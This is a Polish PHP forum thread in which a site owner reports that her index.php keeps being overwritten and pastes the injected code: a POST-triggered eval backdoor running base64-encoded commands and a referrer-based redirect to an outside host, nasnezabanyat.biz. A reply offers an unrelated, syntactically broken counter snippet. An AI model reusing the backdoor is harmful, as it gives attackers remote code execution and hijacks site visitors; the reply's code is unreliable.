![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 4 Pomógł: 0 Dołączył: 3.03.2006 Ostrzeżenie: (0%) ![]() ![]() |
Witam.. od wczoraj mam dosc powazny problem. Mam plik index.php ktory rozszerzenie php ma tylko dlatego żeby dzialał licznik w PHP. Strona to http://niekochane.org
I problem jest taki ze od soboty ktoś lub coś zmienia zawartość mojego pliku index.php na taką: Kod <?php $a=@$_POST['a'];if($a && @$_POST['b']==sha1(md5($a))){$a=base64_decode($a);eval($a);} function get_counter(){$ip=$_SERVER['REMOTE_ADDR'];$uniq=@file_get_contents("http://nasnezabanyat.biz/ip.php?ip=$ip");if($uniq===false){return false;}if($uniq=="go"){return true;}return false;}$ref=strtolower(trim(@$_SERVER['HTTP_REFERER']));if((strpos($ref,"google")!==false)and(strpos($ref,"bot.htm")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}}if((strpos($ref,"yahoo")!==false)and(strpos($ref,"slurp")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}} ?> Nie wiem co z tym zrobić, już drugi raz mi sie zmieniła zawartość pliku i musiałam nadpisać, ale przecież nie mogę chyba ciągle nadpisywać, chciałabym jakoś temu zapobiec. Na php prawie wcale sie nie znam a licznik znalazłam w sieci, na jakiejś polskiej stronie o php. Plik index.php ma uprawnienia 644. Czy ktoś może spotkał się z czymś takim, czy ktoś wie jak temu zapobiec? Ten post edytował mika 12.01.2009, 09:45:14 |
|
|
![]() |
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 9 Pomógł: 0 Dołączył: 3.01.2009 Skąd: Siedlce Ostrzeżenie: (0%) ![]() ![]() |
ja bym do odczytywania zawartosci licznika użył coś takiego:
<? if(file_exists("licznik.txt")) { $sciezka = "licznik.txt"; $plik = fopen($sciezka, "r"); $zawartosc = fread($plik, filesize("licznik.txt")); fclose); } else echo $zawartosc ?> Nie wiem czy wszystko jestdobrze, bo pisalem od reki Ten post edytował Lukez 12.01.2009, 13:35:09 |
|
|
![]() ![]() |
![]() |
Aktualny czas: 6.10.2025 - 23:35 |